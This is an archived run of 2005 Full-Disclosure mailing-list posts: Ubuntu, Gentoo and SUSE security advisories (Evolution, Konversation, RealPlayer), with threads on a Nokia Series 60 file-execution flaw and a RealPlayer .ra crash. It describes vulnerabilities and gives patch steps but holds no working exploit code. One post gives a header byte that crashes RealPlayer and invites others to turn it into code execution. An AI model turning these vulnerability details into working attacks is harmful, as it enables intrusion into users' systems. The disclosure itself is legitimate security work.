g71l6RfUodNQ+PVZX9x2Uk89PY3bzpnhV5JZzf24rnRPxfx2vIPFRzBhznzJZv8V
+bv9kV7HAarTW56NoKVyOtQa8L9GAFgr5fSI/VhOSdvNILSd5JEHNmszbDgNRR0P
fIizHHxbLY7288kjwEPwpVsYjY67VYy4XTjTNP18F1dDox0YbN4zISy1Kv884bEp
QBgRjXyEpwpy1obEAxnIByl6ypUM2Zafq9AKUJsCRtMIPWakXUGfnHy9iUsiGSa6
q6Jew1XpMgs7AAICB/9zfuqNajzD8QD44+MTGkq/37KxHaTxNv6i8ZaBCh5DfZ0v
qAVPLl/K0qYrxp/rF3oqZ8QjfkX4s1hNuXwHApT1QXOYgOKz8b44SB6nmAnrqYLB
YIiUlL/cpg2zOgnw/ypT44Itv+lXpZRCT8Au+WTLgPwxta4IkX+EN4M5f1QmE/yu
oHCCRQ40M3FfRtiuCVHlaAhTxZ53KsImk13nDX3YBB+FAB6YeR1y1Tnh4k1Jo28B
TyJssDAGprUabmv0GPPZKQIiCGLGdJETJKEpKcZilUhS+wEcwhxelR99XRZU16Zy
OL1r7UOkD9St4Zd56YdujUREb6o/IiWoi8FJ6qkdiQBMBBgRAgAMBQJB9PnuBRsM
AAAAAAoJEEZOl3aqij/rv8wAnjJMp+C7CmzF3uPDl3Fc4s/0YaSJAJ0UihbNMzuP
J9bzVO6lxyi5MsrTjQ==
=LFL7
-----END PGP PUBLIC KEY BLOCK-----



From martin.pitt at canonical.com  Mon Jan 24 14:19:48 2005
From: martin.pitt at canonical.com (Martin Pitt)
Date: Mon, 24 Jan 2005 15:19:48 +0100
Subject: [Full-Disclosure] [USN-69-1] Evolution vulnerability
Message-ID: <20050124141948.GA29877@box79162.elkhouse.de>

===========================================================
Ubuntu Security Notice USN-69-1		   January 24, 2005
evolution vulnerability
CAN-2005-0102
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu 4.10 (Warty Warthog)

The following packages are affected:

evolution

The problem can be corrected by upgrading the affected package to
version 2.0.2-0ubuntu2.1.  In general, a standard system upgrade is
sufficient to effect the necessary changes.

Details follow:

Max Vozeler discovered an integer overflow in camel-lock-helper. An
user-supplied length value was not validated, so that a value of -1
caused a buffer allocation of 0 bytes; this buffer was then filled by
an arbitrary amount of user-supplied data.

A local attacker or a malicious POP3 server could exploit this to
execute arbitrary code with root privileges (because camel-lock-helper
is installed as setuid root).

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/e/evolution/evolution_2.0.2-0ubuntu2.1.diff.gz
      Size/MD5:    50511 bbbfa6cdc735c71fb574a3a12f836a1a
    http://security.ubuntu.com/ubuntu/pool/main/e/evolution/evolution_2.0.2-0ubuntu2.1.dsc
      Size/MD5:     1186 1f83476cf5dcbd02bf7b984d3dcf480d
    http://security.ubuntu.com/ubuntu/pool/main/e/evolution/evolution_2.0.2.orig.tar.gz
      Size/MD5: 20925198 7b3c1b6b7f67c548d7e45bf2ed7abd0f

  Architecture independent packages:

    http://security.ubuntu.com/ubuntu/pool/main/e/evolution/evolution1.5-dev_2.0.2-0ubuntu2.1_all.deb
      Size/MD5:    16622 2cf68cec4ccb92d5ffd7982602efc08c
    http://security.ubuntu.com/ubuntu/pool/main/e/evolution/evolution1.5_2.0.2-0ubuntu2.1_all.deb
      Size/MD5:    39674 850a2060b158ea4e34197f8ec7f6d356

  amd64 architecture (Athlon64, Opteron, EM64T Xeon)

    http://security.ubuntu.com/ubuntu/pool/main/e/evolution/evolution-dev_2.0.2-0ubuntu2.1_amd64.deb
      Size/MD5:   134284 194ff4092d8e0379dcd21b86af35ae75
    http://security.ubuntu.com/ubuntu/pool/main/e/evolution/evolution_2.0.2-0ubuntu2.1_amd64.deb
      Size/MD5: 10437562 a312639431700cce925f7a1875dfc022

  i386 architecture (x86 compatible Intel/AMD)

    http://security.ubuntu.com/ubuntu/pool/main/e/evolution/evolution-dev_2.0.2-0ubuntu2.1_i386.deb
      Size/MD5:   134272 1c57a9b6c78e6808b831a65772aefdb9
    http://security.ubuntu.com/ubuntu/pool/main/e/evolution/evolution_2.0.2-0ubuntu2.1_i386.deb
      Size/MD5: 10201710 306466a195cebf0ef513b62836c3dd66

  powerpc architecture (Apple Macintosh G3/G4/G5)

    http://security.ubuntu.com/ubuntu/pool/main/e/evolution/evolution-dev_2.0.2-0ubuntu2.1_powerpc.deb
      Size/MD5:   134288 4d1607ab2f239fca5516fc8f2fee1fca
    http://security.ubuntu.com/ubuntu/pool/main/e/evolution/evolution_2.0.2-0ubuntu2.1_powerpc.deb
      Size/MD5: 10255176 6f832b0fbe274cfc4d9c183df3f98075
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: Digital signature
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050124/28ea255f/attachment.bin 

From lewk at gentoo.org  Mon Jan 24 14:40:05 2005
From: lewk at gentoo.org (Luke Macken)
Date: Mon, 24 Jan 2005 09:40:05 -0500
Subject: [Full-Disclosure] [ GLSA 200501-34 ] Konversation: Various
	vulnerabilities
Message-ID: <20050124144005.GB2746@tomservo.ne1.client2.attbi.c>

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory                           GLSA 200501-34
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: Konversation: Various vulnerabilities
      Date: January 24, 2005
      Bugs: #78712
        ID: 200501-34

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

Konversation contains multiple vulnerabilities that could lead to
remote command execution or information leaks.

Background
==========

Konversation is a user-friendly IRC client for KDE.

Affected packages
=================

    -------------------------------------------------------------------
     Package               /  Vulnerable  /                 Unaffected
    -------------------------------------------------------------------
  1  net-irc/konversation      < 0.15.1                      >= 0.15.1

Description
===========

Wouter Coekaerts has discovered three vulnerabilites within
Konversation:

* The Server::parseWildcards function, which is used by the "Quick
  Buttons", does not properly handle variable expansion
  (CAN-2005-0129).

* Perl scripts included with Konversation do not properly escape
  shell metacharacters (CAN-2005-0130).

* The 'Nick' and 'Password' fields in the Quick Connect dialog can be
  easily confused (CAN-2005-0131).

Impact
======

A malicious server could create specially-crafted channels, which would
exploit certain flaws in Konversation, potentially leading to the
execution of shell commands. A user could also unintentionally input
their password into the 'Nick' field in the Quick Connect dialog,
exposing his password to IRC users, and log files.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All Konversation users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=net-irc/konversation-0.15.1"

References
==========

  [ 1 ] CAN-2005-0129
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0129
  [ 2 ] CAN-2005-0130
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0130
  [ 3 ] CAN-2005-0131
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0131
  [ 4 ] KDE Security Advisory: Multiple vulnerabilities in Konversation
        http://www.kde.org/info/security/advisory-20050121-1.txt

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-34.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security at gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050124/642d5350/attachment.bin 

From meissner at suse.de  Mon Jan 24 14:54:12 2005
From: meissner at suse.de (Marcus Meissner)
Date: Mon, 24 Jan 2005 15:54:12 +0100
Subject: [Full-Disclosure] SUSE Security Announcement: Realplayer 8
	(SUSE-SA:2005:004)
Message-ID: <41F50C14.mail21911LP96@suse.de>


-----BEGIN PGP SIGNED MESSAGE-----

______________________________________________________________________________

                        SUSE Security Announcement

        Package:                realplayer 8
        Announcement-ID:        SUSE-SA:2005:004
        Date:                   Monday, Jan 24th 2005 16:00 MET
        Affected products:      8.1, 8.2, 9.0, 9.1
                                SUSE Linux Desktop 1.0
        Vulnerability Type:     remote code execution
        Severity (1-10):        8
        SUSE default package:   yes
        Cross References:       none

    Content of this advisory:
        1) security vulnerability discussed:
               - integer overflow
           problem description
        2) solution/workaround
        3) standard appendix (further information)

______________________________________________________________________________

1) problem description, brief discussion


   RealPlayer is a combined audio and video player for RealMedia formatted
   streaming data. These formats are very common throughout the Internet.

   eEye Security in October 2004 discovered a flaw in the .rm RealMovie
   stream handling routines which allows a remote attacker to exploit an
   integer overflow vulnerability using a special .rm file. This might
   allow a remote attacker to execute code as the user running RealPlayer.

   Reference URLs for this problems are the Real security advisory:
           http://service.real.com/help/faq/security/040928_player/EN/

   and the eEye security advisory:
           http://www.eeye.com/html/research/advisories/AD20041001.html


   SUSE Linux includes RealPlayer as both standalone player and as a
   plugin for web browsers like Mozilla and Konqueror.
   This might allow the attacker to just provide a web page or E-Mail
   linking to the special exploit .rm file.

   We cannot fully evaluate the impact of this problem due to lack of
   information and lack of source code to review.


   SUSE Linux versions up to 9.1 and the SUSE Linux Desktop 1.0
   include RealPlayer version 8 and are affected by this problem.

   SUSE Linux 9.2 and the Novell Linux Desktop 9 include RealPlayer
   version 10 and are NOT affected by this problem.


   Real does not offer a fixed version 8 RealPlayer, but suggests
   upgrading RealPlayer to version 10.

   However, upgrading Realplayer is not possible for older SUSE Linux
   products since Realplayer 10 requires newer dynamic library
   versions than the ones to be found in those products.  Also some old
   Real content is not compatible with the RealPlayer version 10.

   For these reasons we cannot offer fixed packages for older SUSE Linux
   based products.

2) solution/workaround

   We suggest one of the following workarounds:

   a) De-install RealPlayer

      Either use YaST to deinstall RealPlayer, or as root do:

      # rpm -e RealPlayer

      You will lose the ability to view Real content.



   b) Remove the RealPlayer plug in

      As root, execute the following commands:

      # rm /usr/lib/browser-plugins/raclass.zip
      # rm /usr/lib/browser-plugins/rpnp.so


      Content can still be viewed by starting "realplay" and opening
      URLs, but automatic exploits via web pages or E-Mails are no longer
      possible.

______________________________________________________________________________

3)  standard appendix: authenticity verification, additional information

  - Package authenticity verification:

    SUSE update packages are available on many mirror ftp servers all over
    the world. While this service is being considered valuable and important
    to the free and open source software community, many users wish to be
    sure about the origin of the package and its content before installing
    the package. There are two verification methods that can be used
    independently from each other to prove the authenticity of a downloaded
    file or rpm package:
    1) md5sums as provided in the (cryptographically signed) announcement.
    2) using the internal gpg signatures of the rpm package.

    1) execute the command
        md5sum <name-of-the-file.rpm>
       after you downloaded the file from a SUSE ftp server or its mirrors.
       Then, compare the resulting md5sum with the one that is listed in the
       announcement. Since the announcement containing the checksums is
       cryptographically signed (usually using the key security at suse.de),
       the checksums show proof of the authenticity of the package.
       We recommend against subscribing to security lists that cause the
       e-mail message containing the announcement to be modified
       so that the signature does not match after transport through the mailing
       list software.
       Downsides: You must be able to verify the authenticity of the
       announcement in the first place. If RPM packages are being rebuilt
       and a new version of a package is published on the ftp server, all
       md5 sums for the files are useless.

    2) rpm package signatures provide an easy way to verify the authenticity
       of an rpm package. Use the command
        rpm -v --checksig <file.rpm>
       to verify the signature of the package, where <file.rpm> is the
       file name of the rpm package that you have downloaded. Of course,
       package authenticity verification can only target an uninstalled rpm
       package file.
       Prerequisites:
        a) gpg is installed
        b) The package is signed using a certain key. The public part of this
           key must be installed by the gpg program in the directory
           ~/.gnupg/ under the user's home directory who performs the
           signature verification (usually root). You can import the key
           that is used by SUSE in rpm packages for SUSE Linux by saving
           this announcement to a file ("announcement.txt") and
           running the command (do "su -" to be root):
            gpg --batch; gpg < announcement.txt | gpg --import
           SUSE Linux distributions version 7.1 and thereafter install the
           key "build at suse.de" upon installation or upgrade, provided that
           the package gpg is installed. The file containing the public key
           is placed at the top-level directory of the first CD (pubring.gpg)
           and at ftp://ftp.suse.com/pub/suse/pubring.gpg-build.suse.de .


  - SUSE runs two security mailing lists to which any interested party may
    subscribe:

    suse-security at suse.com
        -   general/linux/SUSE security discussion.
            All SUSE security announcements are sent to this list.
            To subscribe, send an email to
                <suse-security-subscribe at suse.com>.

    suse-security-announce at suse.com
        -   SUSE's announce-only mailing list.
            Only SUSE's security announcements are sent to this list.
            To subscribe, send an email to
                <suse-security-announce-subscribe at suse.com>.

    For general information or the frequently asked questions (FAQ)
    send mail to:
        <suse-security-info at suse.com> or
        <suse-security-faq at suse.com> respectively.

    =====================================================================
    SUSE's security contact is <security at suse.com> or <security at suse.de>.
    The <security at suse.de> public key is listed below.
    =====================================================================
______________________________________________________________________________

    The information in this advisory may be distributed or reproduced,
    provided that the advisory is not modified in any way. In particular,
    it is desired that the clear-text signature shows proof of the
    authenticity of the text.
    SUSE Linux AG makes no warranties of any kind whatsoever with respect
    to the information contained in this security advisory.

Type Bits/KeyID    Date       User ID
pub  2048R/3D25D3D9 1999-03-06 SuSE Security Team <security at suse.de>
pub  1024D/9C800ACA 2000-10-19 SuSE Package Signing Key <build at suse.de>

- -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.0.7 (GNU/Linux)

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
=Fv2n
- -----END PGP PUBLIC KEY BLOCK-----
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iQEVAwUBQfULuXey5gA9JdPZAQFlBQf/TBBqYIAXgwKUKxq9qOpXOLQQ1L+CkTy+
Ck0FIKtH/YrqmfxIudDPQzzvBBQqM530SohAyQT90kz/9L6nxc3n2RgKdu03pUlt
mgmE5sOm9ImEM3ror7j+ZzyWcGCFPyC/4SWtHwzTZi1cgcRZwpuxEhBps2C3LO2k
QJdUWHlPTcYJVVnqGvxk2ZGokpiVlvMTzLMXJe+Cq0cZIwMS9lB3x+GHdkYDBRES
1m8mgleJN8jpyJRNRMLyKcqTYHOAllDFuC2rte2AajUcxdX87Uxl6X0sBBWwTtNK
c+AeKyMzFm4U/mxbjdfS1UOcGnIRAt1nJ2OqYZ9i8AO30y4ooEwTmw==
=j1Cu
-----END PGP SIGNATURE-----


From kf_lists at digitalmunition.com  Mon Jan 24 15:29:31 2005
From: kf_lists at digitalmunition.com (KF (lists))
Date: Mon, 24 Jan 2005 10:29:31 -0500
Subject: [Full-Disclosure] 2 vulnerabilities combine to auto execute
	received files in Nokia series 60 OS
In-Reply-To: <3014.203.190.133.11.1106542868.squirrel@203.190.133.11>
References: <3014.203.190.133.11.1106542868.squirrel@203.190.133.11>
Message-ID: <41F5145B.4070308@digitalmunition.com>

so then the bottom line is that there is a bug. When files are being 
transfered they should also be identified via the content of the file 
rather than the extension...

-KF

>The second one is also know feature, the file type is not determinated
>from the extension but from the content of the file. So a sis package
>renamed to an jpeg file still looks from the inside as a sis package and
>so the user is prompted for installation.
>
>  
>



From purdy at tecman.com  Mon Jan 24 15:40:49 2005
From: purdy at tecman.com (Curt Purdy)
Date: Mon, 24 Jan 2005 09:40:49 -0600
Subject: [lists] [Full-Disclosure] Phrack is dead, long live Phrack!
In-Reply-To: <b4289e863b34db2813d0d0942e487568@tatooine.homelinux.net>
Message-ID: <200501240942609.SM02472@wolfcub3kv>

Starwars wrote:
<snip>
> Yes, I am a criminal. My crime is that of curiosity. My crime 
> is that of judging people by what they say and think, not 
> what they look like. My crime is that of outsmarting you, 
> something that you will never forgive me for.
> "
> 
> -- A hacker's manifesto, the Mentor, 1986
<snip>

Been a long time since I read Mentor's words.  Good luck to you starwars, I
hope you start something.  I'd join the effort, but am currently working on
my masters in IS and get little sleep as it is.

Curt Purdy CISSP, GSEC, CNE, MCSE+I, CCDA 
Information Security Engineer 
DP Solutions 

-----------------------------

If you spend more on coffee than on IT security, you will be hacked.
What's more, you deserve to be hacked.
-- former White House cybersecurity czar Richard Clarke




From Valdis.Kletnieks at vt.edu  Mon Jan 24 15:55:24 2005
From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu)
Date: Mon, 24 Jan 2005 10:55:24 -0500
Subject: [Full-Disclosure] 2 vulnerabilities combine to auto execute
	received files in Nokia series 60 OS 
In-Reply-To: Your message of "Mon, 24 Jan 2005 10:29:31 EST."
	<41F5145B.4070308@digitalmunition.com> 
References: <3014.203.190.133.11.1106542868.squirrel@203.190.133.11>
	<41F5145B.4070308@digitalmunition.com>
Message-ID: <200501241555.j0OFtOYa016571@turing-police.cc.vt.edu>

On Mon, 24 Jan 2005 10:29:31 EST, "KF (lists)" said:
> so then the bottom line is that there is a bug. When files are being 
> transfered they should also be identified via the content of the file 
> rather than the extension...

'Those who cannot remember the past, are condemned to repeat it.'
                          -- George Santayana

Nokia, there is a call for you on the white courtesy kloo phone...
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 226 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050124/e972de2b/attachment.bin 

From carlos.ulver at gmail.com  Mon Jan 24 16:22:25 2005
From: carlos.ulver at gmail.com (Carlos Ulver)
Date: Mon, 24 Jan 2005 14:22:25 -0200
Subject: [Full-Disclosure] RealPlayer 10.5 Denial of Service and possible
	Overflow
Message-ID: <10c6adab050124082260bb657a@mail.gmail.com>

Well i was trying to find something in .ra format. I found something
interesting(I think)
I had an old .Ra and tryed to change some information of the file(via
an hexadecimal editor):
All my .ra files begin always with the following code:
.ra......ra4.........r.........>................+........
If i change ONE byte at the beginning RealAudio crashes like the
following example:
.ra......Aa4.........r.........>................+........

In this case I just overwrited the second 'r' for 'A' and RealPlayer crashed.
I could not see if i overwrite with more A?s be possible to write into
stack cause I?m with no good debugger here and I don?t understant
windows debug report.
It was tested only with RealPlayer 10.5. *** If possible some one try
to write into stack will be great. ***

I?m making files avaliable at           www.debarry2.com.br/carlos/rapoc.zip
as an proof of concept for this.

You could also get the rapoc.zip at www.debarry2.com.br/carlos by a
link I put at first page(top);

If its possible to write into stack all of u comrades know that we can
execute arbitrary code into affected systems.

Sorry for my bad Brazilian-english.

Carlos A. Ulver.



From seclists at securinews.com  Mon Jan 24 19:42:50 2005
From: seclists at securinews.com (Paul Kurczaba)
Date: Mon, 24 Jan 2005 14:42:50 -0500
Subject: [Full-Disclosure] 2 vulnerabilities combine to auto execute
	received files in Nokia series 60 OS
In-Reply-To: <3014.203.190.133.11.1106542868.squirrel@203.190.133.11>
Message-ID: <200501241943.j0OJh0rs021207@lists.netsys.com>

Wouldn't the phone try to open the jpg file as a picture, and not execute
it. Just like on desktop PCs: if you rename a .exe (application/program) to
a jpg (picture file), and try to open the file, your image program will open
the file, thinking it is a image file. The application code will not be
executed.

-----Original Message-----
From: full-disclosure-bounces at lists.netsys.com
[mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of
rohit at kritikalsolutions.com
Sent: Monday, January 24, 2005 12:01 AM
To: bugtraq at securityfocus.com; full-disclosure at lists.netsys.com
Subject: [Full-Disclosure] 2 vulnerabilities combine to auto execute
received files in Nokia series 60 OS

Hi,
 I forwarded this bug to Nokia security group, they believe it is a feature
and not a bug. Whats your opinion?
>>>
1. By default, executable files cannot be transferred (many mobile game
companies probably earn their bread because games are not transferrable from
one phone to the next). But if you rename the file (install file) to any
extension such as jpg or an unknown extension, it can be transferred!
So if i need to transfer a virus, all i need to do is rename the file to
some jpg extension and and transfer it!

2. When series 60 OS receives such a file, it executes it immediately. For
example, in case a MMS message comes with a picture or an installer
attachment, Nokia would immediately start running the attachment. This is a
major design flaw.
Imagine a virus, renamed as a .jpg (mobile wall paper) is downloaded by
users on p2p networks or from a website or can come from a friend. Virus
installs  itself and than shows a jpg file, so user does not suspect
anything, while he is now infected. This is than sent to everyone in the
address book, who again just see the wall paper after a prompt, while the
virus has installed itself.

The first problem can be used to exchange mobile games and ring tones for
free. When you try to transfer the same without renaming, the OS does not
allow transferring them.
Thanks
Rohit Dube
New Delhi.

Nokia response to both the problems follows:

Hi Rohit,

Sorry for the delay answering back to you.

About your findings, the first one with sending files after changing the
extension is a known limitation of the current implementation. We also
implement OMA DRM 2 which will work as expected in such situations.

The second one is also know feature, the file type is not determinated from
the extension but from the content of the file. So a sis package renamed to
an jpeg file still looks from the inside as a sis package and so the user is
prompted for installation.


Thank you again for your report.

tatu


> -----Original Message-----
> From: ext rohit at kritikalsolutions.com
> [mailto:rohit at kritikalsolutions.com]
> Sent: Tuesday, January 18, 2005 04:17
> To: Mannisto Tatu (Nokia-TP-PST/Tampere); Ahlberg Janne
> (Nokia-M/Tampere)
> Subject: RE: series 60 os auto executes files
>
>
> Hi Tatu, Janne,
>  Any information on this vulnerability? Can you please confirm your 
> findings and send me an update on when should I/we disclose it?
> Thanks
> Rohit
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html




From Thierry at sniff-em.com  Mon Jan 24 20:11:16 2005
From: Thierry at sniff-em.com (Thierry Zoller)
Date: Mon, 24 Jan 2005 21:11:16 +0100
Subject: [Full-Disclosure] 2 vulnerabilities combine to auto execute
	received files in Nokia series 60 OS
In-Reply-To: <200501241943.j0OJh0rs021207@lists.netsys.com>
References: <3014.203.190.133.11.1106542868.squirrel@203.190.133.11>
	<200501241943.j0OJh0rs021207@lists.netsys.com>
Message-ID: <1761639236.20050124211116@Sniff-em.com>

Dear Paul Kurczaba,

PK> Wouldn't the phone try to open the jpg file as a picture, and not execute
PK> it. Just like on desktop PCs: if you rename a .exe (application/program) to
PK> a jpg (picture file), and try to open the file, your image program will open
PK> the file, thinking it is a image file. The application code will not be
PK> executed.

Well there is a twist, Nokia says it identifies files NOT by the
filename but by the extension, even when shelling them, so there won't
be an image view but code being run. (Note I have no access to said
devices, I am solely interpreting).

-- 
Regards,
Thierry Zoller
http://www.sniff-em.com [Yes]




From hades at psilanthropy.org  Mon Jan 24 20:17:55 2005
From: hades at psilanthropy.org (Anders Langworthy)
Date: Mon, 24 Jan 2005 14:17:55 -0600
Subject: [Full-Disclosure] 2 vulnerabilities combine to auto
	execute	received files in Nokia series 60 OS
